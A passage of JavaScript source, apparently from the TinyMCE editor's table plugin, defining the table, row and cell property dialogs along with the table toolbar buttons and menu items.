        const colModifier = item.column.map(col => DomModifier.normal(editor, col)).getOr(modifier);
        updateSimpleProps$1(modifier, colModifier, data, shouldOverrideCurrentValue);
        if (hasAdvancedCellTab(editor)) {
          updateAdvancedProps$1(modifier, data, shouldOverrideCurrentValue);
        }
        if (wasChanged('halign')) {
          setAlign(editor, cellElm, data.halign);
        }
        if (wasChanged('valign')) {
          setVAlign(editor, cellElm, data.valign);
        }
      });
    };
    const applyStructureData$1 = (editor, data) => {
      editor.execCommand('mceTableCellType', false, {
        type: data.celltype,
        no_events: true
      });
    };
    const applyCellData = (editor, cells, oldData, data) => {
      const modifiedData = filter$1(data, (value, key) => oldData[key] !== value);
      if (size(modifiedData) > 0 && cells.length >= 1) {
        table(cells[0]).each(table => {
          const selectedCells = getSelectedCells(table, cells);
          const styleModified = size(filter$1(modifiedData, (_value, key) => key !== 'scope' && key !== 'celltype')) > 0;
          const structureModified = has(modifiedData, 'celltype');
          if (styleModified || has(modifiedData, 'scope')) {
            applyStyleData$1(editor, selectedCells, data, curry(has, modifiedData));
          }
          if (structureModified) {
            applyStructureData$1(editor, data);
          }
          fireTableModified(editor, table.dom, {
            structure: structureModified,
            style: styleModified
          });
        });
      }
    };
    const onSubmitCellForm = (editor, cells, oldData, api) => {
      const data = api.getData();
      api.close();
      editor.undoManager.transact(() => {
        applyCellData(editor, cells, oldData, data);
        editor.focus();
      });
    };
    const getData$1 = (editor, cells) => {
      const cellsData = table(cells[0]).map(table => map(getSelectedCells(table, cells), item => extractDataFromCellElement(editor, item.element, hasAdvancedCellTab(editor), item.column)));
      return getSharedValues(cellsData.getOrDie());
    };
    const open$2 = editor => {
      const cells = getCellsFromSelection(editor);
      if (cells.length === 0) {
        return;
      }
      const data = getData$1(editor, cells);
      const dialogTabPanel = {
        type: 'tabpanel',
        tabs: [
          {
            title: 'General',
            name: 'general',
            items: getItems$2(editor)
          },
          getAdvancedTab(editor, 'cell')
        ]
      };
      const dialogPanel = {
        type: 'panel',
        items: [{
            type: 'grid',
            columns: 2,
            items: getItems$2(editor)
          }]
      };
      editor.windowManager.open({
        title: 'Cell Properties',
        size: 'normal',
        body: hasAdvancedCellTab(editor) ? dialogTabPanel : dialogPanel,
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData: data,
        onSubmit: curry(onSubmitCellForm, editor, cells, data)
      });
    };

    const getClassList = editor => {
      const classes = buildListItems(getRowClassList(editor));
      if (classes.length > 0) {
        return Optional.some({
          name: 'class',
          type: 'listbox',
          label: 'Class',
          items: classes
        });
      }
      return Optional.none();
    };
    const formChildren = [
      {
        type: 'listbox',
        name: 'type',
        label: 'Row type',
        items: [
          {
            text: 'Header',
            value: 'header'
          },
          {
            text: 'Body',
            value: 'body'
          },
          {
            text: 'Footer',
            value: 'footer'
          }
        ]
      },
      {
        type: 'listbox',
        name: 'align',
        label: 'Alignment',
        items: [
          {
            text: 'None',
            value: ''
          },
          {
            text: 'Left',
            value: 'left'
          },
          {
            text: 'Center',
            value: 'center'
          },
          {
            text: 'Right',
            value: 'right'
          }
        ]
      },
      {
        label: 'Height',
        name: 'height',
        type: 'input'
      }
    ];
    const getItems$1 = editor => formChildren.concat(getClassList(editor).toArray());

    const updateSimpleProps = (modifier, data, shouldUpdate) => {
      if (shouldUpdate('class')) {
        modifier.setAttrib('class', data.class);
      }
      if (shouldUpdate('height')) {
        modifier.setStyle('height', addPxSuffix(data.height));
      }
    };
    const updateAdvancedProps = (modifier, data, shouldUpdate) => {
      if (shouldUpdate('backgroundcolor')) {
        modifier.setStyle('background-color', data.backgroundcolor);
      }
      if (shouldUpdate('bordercolor')) {
        modifier.setStyle('border-color', data.bordercolor);
      }
      if (shouldUpdate('borderstyle')) {
        modifier.setStyle('border-style', data.borderstyle);
      }
    };
    const applyStyleData = (editor, rows, data, wasChanged) => {
      const isSingleRow = rows.length === 1;
      const shouldOverrideCurrentValue = isSingleRow ? always : wasChanged;
      each(rows, rowElm => {
        const modifier = DomModifier.normal(editor, rowElm);
        updateSimpleProps(modifier, data, shouldOverrideCurrentValue);
        if (hasAdvancedRowTab(editor)) {
          updateAdvancedProps(modifier, data, shouldOverrideCurrentValue);
        }
        if (wasChanged('align')) {
          setAlign(editor, rowElm, data.align);
        }
      });
    };
    const applyStructureData = (editor, data) => {
      editor.execCommand('mceTableRowType', false, {
        type: data.type,
        no_events: true
      });
    };
    const applyRowData = (editor, rows, oldData, data) => {
      const modifiedData = filter$1(data, (value, key) => oldData[key] !== value);
      if (size(modifiedData) > 0) {
        const typeModified = has(modifiedData, 'type');
        const styleModified = typeModified ? size(modifiedData) > 1 : true;
        if (styleModified) {
          applyStyleData(editor, rows, data, curry(has, modifiedData));
        }
        if (typeModified) {
          applyStructureData(editor, data);
        }
        table(SugarElement.fromDom(rows[0])).each(table => fireTableModified(editor, table.dom, {
          structure: typeModified,
          style: styleModified
        }));
      }
    };
    const onSubmitRowForm = (editor, rows, oldData, api) => {
      const data = api.getData();
      api.close();
      editor.undoManager.transact(() => {
        applyRowData(editor, rows, oldData, data);
        editor.focus();
      });
    };
    const open$1 = editor => {
      const rows = getRowsFromSelection(getSelectionStart(editor), ephemera.selected);
      if (rows.length === 0) {
        return;
      }
      const rowsData = map(rows, rowElm => extractDataFromRowElement(editor, rowElm.dom, hasAdvancedRowTab(editor)));
      const data = getSharedValues(rowsData);
      const dialogTabPanel = {
        type: 'tabpanel',
        tabs: [
          {
            title: 'General',
            name: 'general',
            items: getItems$1(editor)
          },
          getAdvancedTab(editor, 'row')
        ]
      };
      const dialogPanel = {
        type: 'panel',
        items: [{
            type: 'grid',
            columns: 2,
            items: getItems$1(editor)
          }]
      };
      editor.windowManager.open({
        title: 'Row Properties',
        size: 'normal',
        body: hasAdvancedRowTab(editor) ? dialogTabPanel : dialogPanel,
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData: data,
        onSubmit: curry(onSubmitRowForm, editor, map(rows, r => r.dom), data)
      });
    };

    const getItems = (editor, classes, insertNewTable) => {
      const rowColCountItems = !insertNewTable ? [] : [
        {
          type: 'input',
          name: 'cols',
          label: 'Cols',
          inputMode: 'numeric'
        },
        {
          type: 'input',
          name: 'rows',
          label: 'Rows',
          inputMode: 'numeric'
        }
      ];
      const alwaysItems = [
        {
          type: 'input',
          name: 'width',
          label: 'Width'
        },
        {
          type: 'input',
          name: 'height',
          label: 'Height'
        }
      ];
      const appearanceItems = hasAppearanceOptions(editor) ? [
        {
          type: 'input',
          name: 'cellspacing',
          label: 'Cell spacing',
          inputMode: 'numeric'
        },
        {
          type: 'input',
          name: 'cellpadding',
          label: 'Cell padding',
          inputMode: 'numeric'
        },
        {
          type: 'input',
          name: 'border',
          label: 'Border width'
        },
        {
          type: 'label',
          label: 'Caption',
          items: [{
              type: 'checkbox',
              name: 'caption',
              label: 'Show caption'
            }]
        }
      ] : [];
      const alignmentItem = [{
          type: 'listbox',
          name: 'align',
          label: 'Alignment',
          items: [
            {
              text: 'None',
              value: ''
            },
            {
              text: 'Left',
              value: 'left'
            },
            {
              text: 'Center',
              value: 'center'
            },
            {
              text: 'Right',
              value: 'right'
            }
          ]
        }];
      const classListItem = classes.length > 0 ? [{
          type: 'listbox',
          name: 'class',
          label: 'Class',
          items: classes
        }] : [];
      return rowColCountItems.concat(alwaysItems).concat(appearanceItems).concat(alignmentItem).concat(classListItem);
    };

    const styleTDTH = (dom, elm, name, value) => {
      if (elm.tagName === 'TD' || elm.tagName === 'TH') {
        if (isString(name) && isNonNullable(value)) {
          dom.setStyle(elm, name, value);
        } else {
          dom.setStyles(elm, name);
        }
      } else {
        if (elm.children) {
          for (let i = 0; i < elm.children.length; i++) {
            styleTDTH(dom, elm.children[i], name, value);
          }
        }
      }
    };
    const applyDataToElement = (editor, tableElm, data) => {
      const dom = editor.dom;
      const attrs = {};
      const styles = {};
      if (!isUndefined(data.class)) {
        attrs.class = data.class;
      }
      styles.height = addPxSuffix(data.height);
      if (shouldStyleWithCss(editor)) {
        styles.width = addPxSuffix(data.width);
      } else if (dom.getAttrib(tableElm, 'width')) {
        attrs.width = removePxSuffix(data.width);
      }
      if (shouldStyleWithCss(editor)) {
        styles['border-width'] = addPxSuffix(data.border);
        styles['border-spacing'] = addPxSuffix(data.cellspacing);
      } else {
        attrs.border = data.border;
        attrs.cellpadding = data.cellpadding;
        attrs.cellspacing = data.cellspacing;
      }
      if (shouldStyleWithCss(editor) && tableElm.children) {
        for (let i = 0; i < tableElm.children.length; i++) {
          styleTDTH(dom, tableElm.children[i], {
            'border-width': addPxSuffix(data.border),
            'padding': addPxSuffix(data.cellpadding)
          });
          if (hasAdvancedTableTab(editor)) {
            styleTDTH(dom, tableElm.children[i], { 'border-color': data.bordercolor });
          }
        }
      }
      if (hasAdvancedTableTab(editor)) {
        const advData = data;
        styles['background-color'] = advData.backgroundcolor;
        styles['border-color'] = advData.bordercolor;
        styles['border-style'] = advData.borderstyle;
      }
      attrs.style = dom.serializeStyle({
        ...getDefaultStyles(editor),
        ...styles
      });
      dom.setAttribs(tableElm, {
        ...getDefaultAttributes(editor),
        ...attrs
      });
    };
    const onSubmitTableForm = (editor, tableElm, oldData, api) => {
      const dom = editor.dom;
      const data = api.getData();
      const modifiedData = filter$1(data, (value, key) => oldData[key] !== value);
      api.close();
      if (data.class === '') {
        delete data.class;
      }
      editor.undoManager.transact(() => {
        if (!tableElm) {
          const cols = toInt(data.cols).getOr(1);
          const rows = toInt(data.rows).getOr(1);
          editor.execCommand('mceInsertTable', false, {
            rows,
            columns: cols
          });
          tableElm = getSelectionCell(getSelectionStart(editor), getIsRoot(editor)).bind(cell => table(cell, getIsRoot(editor))).map(table => table.dom).getOrDie();
        }
        if (size(modifiedData) > 0) {
          applyDataToElement(editor, tableElm, data);
          const captionElm = dom.select('caption', tableElm)[0];
          if (captionElm && !data.caption || !captionElm && data.caption) {
            editor.execCommand('mceTableToggleCaption');
          }
          setAlign(editor, tableElm, data.align);
        }
        editor.focus();
        editor.addVisual();
        if (size(modifiedData) > 0) {
          const captionModified = has(modifiedData, 'caption');
          const styleModified = captionModified ? size(modifiedData) > 1 : true;
          fireTableModified(editor, tableElm, {
            structure: captionModified,
            style: styleModified
          });
        }
      });
    };
    const open = (editor, insertNewTable) => {
      const dom = editor.dom;
      let tableElm;
      let data = extractDataFromSettings(editor, hasAdvancedTableTab(editor));
      if (insertNewTable) {
        data.cols = '1';
        data.rows = '1';
        if (hasAdvancedTableTab(editor)) {
          data.borderstyle = '';
          data.bordercolor = '';
          data.backgroundcolor = '';
        }
      } else {
        tableElm = dom.getParent(editor.selection.getStart(), 'table', editor.getBody());
        if (tableElm) {
          data = extractDataFromTableElement(editor, tableElm, hasAdvancedTableTab(editor));
        } else {
          if (hasAdvancedTableTab(editor)) {
            data.borderstyle = '';
            data.bordercolor = '';
            data.backgroundcolor = '';
          }
        }
      }
      const classes = buildListItems(getTableClassList(editor));
      if (classes.length > 0) {
        if (data.class) {
          data.class = data.class.replace(/\s*mce\-item\-table\s*/g, '');
        }
      }
      const generalPanel = {
        type: 'grid',
        columns: 2,
        items: getItems(editor, classes, insertNewTable)
      };
      const nonAdvancedForm = () => ({
        type: 'panel',
        items: [generalPanel]
      });
      const advancedForm = () => ({
        type: 'tabpanel',
        tabs: [
          {
            title: 'General',
            name: 'general',
            items: [generalPanel]
          },
          getAdvancedTab(editor, 'table')
        ]
      });
      const dialogBody = hasAdvancedTableTab(editor) ? advancedForm() : nonAdvancedForm();
      editor.windowManager.open({
        title: 'Table Properties',
        size: 'normal',
        body: dialogBody,
        onSubmit: curry(onSubmitTableForm, editor, tableElm, data),
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData: data
      });
    };

    const registerCommands = editor => {
      each$1({
        mceTableProps: curry(open, editor, false),
        mceTableRowProps: curry(open$1, editor),
        mceTableCellProps: curry(open$2, editor)
      }, (func, name) => editor.addCommand(name, () => func()));
      editor.addCommand('mceInsertTableDialog', _ui => {
        open(editor, true);
      });
    };

    const child = (scope, selector) => child$1(scope, selector).isSome();

    const selection = identity;
    const unmergable = selectedCells => {
      const hasSpan = (elem, type) => getOpt(elem, type).exists(span => parseInt(span, 10) > 1);
      const hasRowOrColSpan = elem => hasSpan(elem, 'rowspan') || hasSpan(elem, 'colspan');
      return selectedCells.length > 0 && forall(selectedCells, hasRowOrColSpan) ? Optional.some(selectedCells) : Optional.none();
    };
    const mergable = (table, selectedCells, ephemera) => {
      if (selectedCells.length <= 1) {
        return Optional.none();
      } else {
        return retrieveBox(table, ephemera.firstSelectedSelector, ephemera.lastSelectedSelector).map(bounds => ({
          bounds,
          cells: selectedCells
        }));
      }
    };

    const noMenu = cell => ({
      element: cell,
      mergable: Optional.none(),
      unmergable: Optional.none(),
      selection: [cell]
    });
    const forMenu = (selectedCells, table, cell) => ({
      element: cell,
      mergable: mergable(table, selectedCells, ephemera),
      unmergable: unmergable(selectedCells),
      selection: selection(selectedCells)
    });

    const getSelectionTargets = editor => {
      const targets = Cell(Optional.none());
      const changeHandlers = Cell([]);
      let selectionDetails = Optional.none();
      const isCaption = isTag('caption');
      const isDisabledForSelection = key => selectionDetails.forall(details => !details[key]);
      const getStart = () => getSelectionCellOrCaption(getSelectionStart(editor), getIsRoot(editor));
      const getEnd = () => getSelectionCellOrCaption(getSelectionEnd(editor), getIsRoot(editor));
      const findTargets = () => getStart().bind(startCellOrCaption => flatten(lift2(table(startCellOrCaption), getEnd().bind(table), (startTable, endTable) => {
        if (eq(startTable, endTable)) {
          if (isCaption(startCellOrCaption)) {
            return Optional.some(noMenu(startCellOrCaption));
          } else {
            return Optional.some(forMenu(getCellsFromSelection(editor), startTable, startCellOrCaption));
          }
        }
        return Optional.none();
      })));
      const getExtractedDetails = targets => {
        const tableOpt = table(targets.element);
        return tableOpt.map(table => {
          const warehouse = Warehouse.fromTable(table);
          const selectedCells = onCells(warehouse, targets).getOr([]);
          const locked = foldl(selectedCells, (acc, cell) => {
            if (cell.isLocked) {
              acc.onAny = true;
              if (cell.column === 0) {
                acc.onFirst = true;
              } else if (cell.column + cell.colspan >= warehouse.grid.columns) {
                acc.onLast = true;
              }
            }
            return acc;
          }, {
            onAny: false,
            onFirst: false,
            onLast: false
          });
          return {
            mergeable: onUnlockedMergable(warehouse, targets).isSome(),
            unmergeable: onUnlockedUnmergable(warehouse, targets).isSome(),
            locked
          };
        });
      };
      const resetTargets = () => {
        targets.set(cached(findTargets)());
        selectionDetails = targets.get().bind(getExtractedDetails);
        each(changeHandlers.get(), call);
      };
      const setupHandler = handler => {
        handler();
        changeHandlers.set(changeHandlers.get().concat([handler]));
        return () => {
          changeHandlers.set(filter(changeHandlers.get(), h => h !== handler));
        };
      };
      const onSetup = (api, isDisabled) => setupHandler(() => targets.get().fold(() => {
        api.setEnabled(false);
      }, targets => {
        api.setEnabled(!isDisabled(targets));
      }));
      const onSetupWithToggle = (api, isDisabled, isActive) => setupHandler(() => targets.get().fold(() => {
        api.setEnabled(false);
        api.setActive(false);
      }, targets => {
        api.setEnabled(!isDisabled(targets));
        api.setActive(isActive(targets));
      }));
      const isDisabledFromLocked = lockedDisable => selectionDetails.exists(details => details.locked[lockedDisable]);
      const onSetupTable = api => onSetup(api, _ => false);
      const onSetupCellOrRow = api => onSetup(api, targets => isCaption(targets.element));
      const onSetupColumn = lockedDisable => api => onSetup(api, targets => isCaption(targets.element) || isDisabledFromLocked(lockedDisable));
      const onSetupPasteable = getClipboardData => api => onSetup(api, targets => isCaption(targets.element) || getClipboardData().isNone());
      const onSetupPasteableColumn = (getClipboardData, lockedDisable) => api => onSetup(api, targets => isCaption(targets.element) || getClipboardData().isNone() || isDisabledFromLocked(lockedDisable));
      const onSetupMergeable = api => onSetup(api, _targets => isDisabledForSelection('mergeable'));
      const onSetupUnmergeable = api => onSetup(api, _targets => isDisabledForSelection('unmergeable'));
      const onSetupTableWithCaption = api => {
        return onSetupWithToggle(api, never, targets => {
          const tableOpt = table(targets.element, getIsRoot(editor));
          return tableOpt.exists(table => child(table, 'caption'));
        });
      };
      const onSetupTableHeaders = (command, headerType) => api => {
        return onSetupWithToggle(api, targets => isCaption(targets.element), () => editor.queryCommandValue(command) === headerType);
      };
      const onSetupTableRowHeaders = onSetupTableHeaders('mceTableRowType', 'header');
      const onSetupTableColumnHeaders = onSetupTableHeaders('mceTableColType', 'th');
      editor.on('NodeChange ExecCommand TableSelectorChange', resetTargets);
      return {
        onSetupTable,
        onSetupCellOrRow,
        onSetupColumn,
        onSetupPasteable,
        onSetupPasteableColumn,
        onSetupMergeable,
        onSetupUnmergeable,
        resetTargets,
        onSetupTableWithCaption,
        onSetupTableRowHeaders,
        onSetupTableColumnHeaders,
        targets: targets.get
      };
    };

    var global = tinymce.util.Tools.resolve('tinymce.FakeClipboard');

    const tableTypeBase = 'x-tinymce/dom-table-';
    const tableTypeRow = tableTypeBase + 'rows';
    const tableTypeColumn = tableTypeBase + 'columns';
    const getData = type => {
      var _a;
      const items = (_a = global.read()) !== null && _a !== void 0 ? _a : [];
      return findMap(items, item => Optional.from(item.getType(type)));
    };
    const getRows = () => getData(tableTypeRow);
    const getColumns = () => getData(tableTypeColumn);

    const addButtons = (editor, selectionTargets) => {
      editor.ui.registry.addMenuButton('table', {
        tooltip: 'Table',
        icon: 'table',
        fetch: callback => callback('inserttable | cell row column | advtablesort | tableprops deletetable')
      });
      const cmd = command => () => editor.execCommand(command);
      const addButtonIfRegistered = (name, spec) => {
        if (editor.queryCommandSupported(spec.command)) {
          editor.ui.registry.addButton(name, {
            ...spec,
            onAction: isFunction(spec.onAction) ? spec.onAction : cmd(spec.command)
          });
        }
      };
      const addToggleButtonIfRegistered = (name, spec) => {
        if (editor.queryCommandSupported(spec.command)) {
          editor.ui.registry.addToggleButton(name, {
            ...spec,
            onAction: isFunction(spec.onAction) ? spec.onAction : cmd(spec.command)
          });
        }
      };
      addButtonIfRegistered('tableprops', {
        tooltip: 'Table properties',
        command: 'mceTableProps',
        icon: 'table',
        onSetup: selectionTargets.onSetupTable
      });
      addButtonIfRegistered('tabledelete', {
        tooltip: 'Delete table',
        command: 'mceTableDelete',
        icon: 'table-delete-table',
        onSetup: selectionTargets.onSetupTable
      });
      addButtonIfRegistered('tablecellprops', {
        tooltip: 'Cell properties',
        command: 'mceTableCellProps',
        icon: 'table-cell-properties',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tablemergecells', {
        tooltip: 'Merge cells',
        command: 'mceTableMergeCells',
        icon: 'table-merge-cells',
        onSetup: selectionTargets.onSetupMergeable
      });
      addButtonIfRegistered('tablesplitcells', {
        tooltip: 'Split cell',
        command: 'mceTableSplitCells',
        icon: 'table-split-cells',
        onSetup: selectionTargets.onSetupUnmergeable
      });
      addButtonIfRegistered('tableinsertrowbefore', {
        tooltip: 'Insert row before',
        command: 'mceTableInsertRowBefore',
        icon: 'table-insert-row-above',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tableinsertrowafter', {
        tooltip: 'Insert row after',
        command: 'mceTableInsertRowAfter',
        icon: 'table-insert-row-after',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tabledeleterow', {
        tooltip: 'Delete row',
        command: 'mceTableDeleteRow',
        icon: 'table-delete-row',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tablerowprops', {
        tooltip: 'Row properties',
        command: 'mceTableRowProps',
        icon: 'table-row-properties',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tableinsertcolbefore', {
        tooltip: 'Insert column before',
        command: 'mceTableInsertColBefore',
        icon: 'table-insert-column-before',
        onSetup: selectionTargets.onSetupColumn('onFirst')
      });
      addButtonIfRegistered('tableinsertcolafter', {
        tooltip: 'Insert column after',
        command: 'mceTableInsertColAfter',
        icon: 'table-insert-column-after',
        onSetup: selectionTargets.onSetupColumn('onLast')
      });
      addButtonIfRegistered('tabledeletecol', {
        tooltip: 'Delete column',
        command: 'mceTableDeleteCol',
        icon: 'table-delete-column',
        onSetup: selectionTargets.onSetupColumn('onAny')
      });
      addButtonIfRegistered('tablecutrow', {
        tooltip: 'Cut row',
        command: 'mceTableCutRow',
        icon: 'cut-row',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tablecopyrow', {
        tooltip: 'Copy row',
        command: 'mceTableCopyRow',
        icon: 'duplicate-row',
        onSetup: selectionTargets.onSetupCellOrRow
      });
      addButtonIfRegistered('tablepasterowbefore', {
        tooltip: 'Paste row before',
        command: 'mceTablePasteRowBefore',
        icon: 'paste-row-before',
        onSetup: selectionTargets.onSetupPasteable(getRows)
      });
      addButtonIfRegistered('tablepasterowafter', {
        tooltip: 'Paste row after',
        command: 'mceTablePasteRowAfter',
        icon: 'paste-row-after',
        onSetup: selectionTargets.onSetupPasteable(getRows)
      });
      addButtonIfRegistered('tablecutcol', {
        tooltip: 'Cut column',
        command: 'mceTableCutCol',
        icon: 'cut-column',
        onSetup: selectionTargets.onSetupColumn('onAny')
      });
      addButtonIfRegistered('tablecopycol', {
        tooltip: 'Copy column',
        command: 'mceTableCopyCol',
        icon: 'duplicate-column',
        onSetup: selectionTargets.onSetupColumn('onAny')
      });
      addButtonIfRegistered('tablepastecolbefore', {
        tooltip: 'Paste column before',
        command: 'mceTablePasteColBefore',
        icon: 'paste-column-before',
        onSetup: selectionTargets.onSetupPasteableColumn(getColumns, 'onFirst')
      });
      addButtonIfRegistered('tablepastecolafter', {
        tooltip: 'Paste column after',
        command: 'mceTablePasteColAfter',
        icon: 'paste-column-after',
        onSetup: selectionTargets.onSetupPasteableColumn(getColumns, 'onLast')
      });
      addButtonIfRegistered('tableinsertdialog', {
        tooltip: 'Insert table',
        command: 'mceInsertTableDialog',
        icon: 'table'
      });
      const tableClassList = filterNoneItem(getTableClassList(editor));
      if (tableClassList.length !== 0 && editor.queryCommandSupported('mceTableToggleClass')) {
        editor.ui.registry.addMenuButton('tableclass', {
          icon: 'table-classes',
          tooltip: 'Table styles',
          fetch: generateMenuItemsCallback(editor, tableClassList, 'tableclass', value => editor.execCommand('mceTableToggleClass', false, value)),
          onSetup: selectionTargets.onSetupTable
        });
      }
      const tableCellClassList = filterNoneItem(getCellClassList(editor));
      if (tableCellClassList.length !== 0 && editor.queryCommandSupported('mceTableCellToggleClass')) {
        editor.ui.registry.addMenuButton('tablecellclass', {
          icon: 'table-cell-classes',
          tooltip: 'Cell styles',
          fetch: generateMenuItemsCallback(editor, tableCellClassList, 'tablecellclass', value => editor.execCommand('mceTableCellToggleClass', false, value)),
          onSetup: selectionTargets.onSetupCellOrRow
        });
      }
      if (editor.queryCommandSupported('mceTableApplyCellStyle')) {
        editor.ui.registry.addMenuButton('tablecellvalign', {
          icon: 'vertical-align',
          tooltip: 'Vertical align',
          fetch: generateMenuItemsCallback(editor, verticalAlignValues, 'tablecellverticalalign', applyTableCellStyle(editor, 'vertical-align')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addMenuButton('tablecellborderwidth', {
          icon: 'border-width',
          tooltip: 'Border width',
          fetch: generateMenuItemsCallback(editor, getTableBorderWidths(editor), 'tablecellborderwidth', applyTableCellStyle(editor, 'border-width')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addMenuButton('tablecellborderstyle', {
          icon: 'border-style',
          tooltip: 'Border style',
          fetch: generateMenuItemsCallback(editor, getTableBorderStyles(editor), 'tablecellborderstyle', applyTableCellStyle(editor, 'border-style')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addMenuButton('tablecellbackgroundcolor', {
          icon: 'cell-background-color',
          tooltip: 'Background color',
          fetch: callback => callback(buildColorMenu(editor, getTableBackgroundColorMap(editor), 'background-color')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addMenuButton('tablecellbordercolor', {
          icon: 'cell-border-color',
          tooltip: 'Border color',
          fetch: callback => callback(buildColorMenu(editor, getTableBorderColorMap(editor), 'border-color')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
      }
      addToggleButtonIfRegistered('tablecaption', {
        tooltip: 'Table caption',
        icon: 'table-caption',
        command: 'mceTableToggleCaption',
        onSetup: selectionTargets.onSetupTableWithCaption
      });
      addToggleButtonIfRegistered('tablerowheader', {
        tooltip: 'Row header',
        icon: 'table-top-header',
        command: 'mceTableRowType',
        onAction: changeRowHeader(editor),
        onSetup: selectionTargets.onSetupTableRowHeaders
      });
      addToggleButtonIfRegistered('tablecolheader', {
        tooltip: 'Column header',
        icon: 'table-left-header',
        command: 'mceTableColType',
        onAction: changeColumnHeader(editor),
        onSetup: selectionTargets.onSetupTableColumnHeaders
      });
    };
    const addToolbars = editor => {
      const isTable = table => editor.dom.is(table, 'table') && editor.getBody().contains(table);
      const toolbar = getToolbar(editor);
      if (toolbar.length > 0) {
        editor.ui.registry.addContextToolbar('table', {
          predicate: isTable,
          items: toolbar,
          scope: 'node',
          position: 'node'
        });
      }
    };

    const addMenuItems = (editor, selectionTargets) => {
      const cmd = command => () => editor.execCommand(command);
      const addMenuIfRegistered = (name, spec) => {
        if (editor.queryCommandSupported(spec.command)) {
          editor.ui.registry.addMenuItem(name, {
            ...spec,
            onAction: isFunction(spec.onAction) ? spec.onAction : cmd(spec.command)
          });
          return true;
        } else {
          return false;
        }
      };
      const addToggleMenuIfRegistered = (name, spec) => {
        if (editor.queryCommandSupported(spec.command)) {
          editor.ui.registry.addToggleMenuItem(name, {
            ...spec,
            onAction: isFunction(spec.onAction) ? spec.onAction : cmd(spec.command)
          });
        }
      };
      const insertTableAction = data => {
        editor.execCommand('mceInsertTable', false, {
          rows: data.numRows,
          columns: data.numColumns
        });
      };
      const hasRowMenuItems = [
        addMenuIfRegistered('tableinsertrowbefore', {
          text: 'Insert row before',
          icon: 'table-insert-row-above',
          command: 'mceTableInsertRowBefore',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tableinsertrowafter', {
          text: 'Insert row after',
          icon: 'table-insert-row-after',
          command: 'mceTableInsertRowAfter',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tabledeleterow', {
          text: 'Delete row',
          icon: 'table-delete-row',
          command: 'mceTableDeleteRow',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tablerowprops', {
          text: 'Row properties',
          icon: 'table-row-properties',
          command: 'mceTableRowProps',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tablecutrow', {
          text: 'Cut row',
          icon: 'cut-row',
          command: 'mceTableCutRow',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tablecopyrow', {
          text: 'Copy row',
          icon: 'duplicate-row',
          command: 'mceTableCopyRow',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tablepasterowbefore', {
          text: 'Paste row before',
          icon: 'paste-row-before',
          command: 'mceTablePasteRowBefore',
          onSetup: selectionTargets.onSetupPasteable(getRows)
        }),
        addMenuIfRegistered('tablepasterowafter', {
          text: 'Paste row after',
          icon: 'paste-row-after',
          command: 'mceTablePasteRowAfter',
          onSetup: selectionTargets.onSetupPasteable(getRows)
        })
      ];
      const hasColumnMenuItems = [
        addMenuIfRegistered('tableinsertcolumnbefore', {
          text: 'Insert column before',
          icon: 'table-insert-column-before',
          command: 'mceTableInsertColBefore',
          onSetup: selectionTargets.onSetupColumn('onFirst')
        }),
        addMenuIfRegistered('tableinsertcolumnafter', {
          text: 'Insert column after',
          icon: 'table-insert-column-after',
          command: 'mceTableInsertColAfter',
          onSetup: selectionTargets.onSetupColumn('onLast')
        }),
        addMenuIfRegistered('tabledeletecolumn', {
          text: 'Delete column',
          icon: 'table-delete-column',
          command: 'mceTableDeleteCol',
          onSetup: selectionTargets.onSetupColumn('onAny')
        }),
        addMenuIfRegistered('tablecutcolumn', {
          text: 'Cut column',
          icon: 'cut-column',
          command: 'mceTableCutCol',
          onSetup: selectionTargets.onSetupColumn('onAny')
        }),
        addMenuIfRegistered('tablecopycolumn', {
          text: 'Copy column',
          icon: 'duplicate-column',
          command: 'mceTableCopyCol',
          onSetup: selectionTargets.onSetupColumn('onAny')
        }),
        addMenuIfRegistered('tablepastecolumnbefore', {
          text: 'Paste column before',
          icon: 'paste-column-before',
          command: 'mceTablePasteColBefore',
          onSetup: selectionTargets.onSetupPasteableColumn(getColumns, 'onFirst')
        }),
        addMenuIfRegistered('tablepastecolumnafter', {
          text: 'Paste column after',
          icon: 'paste-column-after',
          command: 'mceTablePasteColAfter',
          onSetup: selectionTargets.onSetupPasteableColumn(getColumns, 'onLast')
        })
      ];
      const hasCellMenuItems = [
        addMenuIfRegistered('tablecellprops', {
          text: 'Cell properties',
          icon: 'table-cell-properties',
          command: 'mceTableCellProps',
          onSetup: selectionTargets.onSetupCellOrRow
        }),
        addMenuIfRegistered('tablemergecells', {
          text: 'Merge cells',
          icon: 'table-merge-cells',
          command: 'mceTableMergeCells',
          onSetup: selectionTargets.onSetupMergeable
        }),
        addMenuIfRegistered('tablesplitcells', {
          text: 'Split cell',
          icon: 'table-split-cells',
          command: 'mceTableSplitCells',
          onSetup: selectionTargets.onSetupUnmergeable
        })
      ];
      if (!hasTableGrid(editor)) {
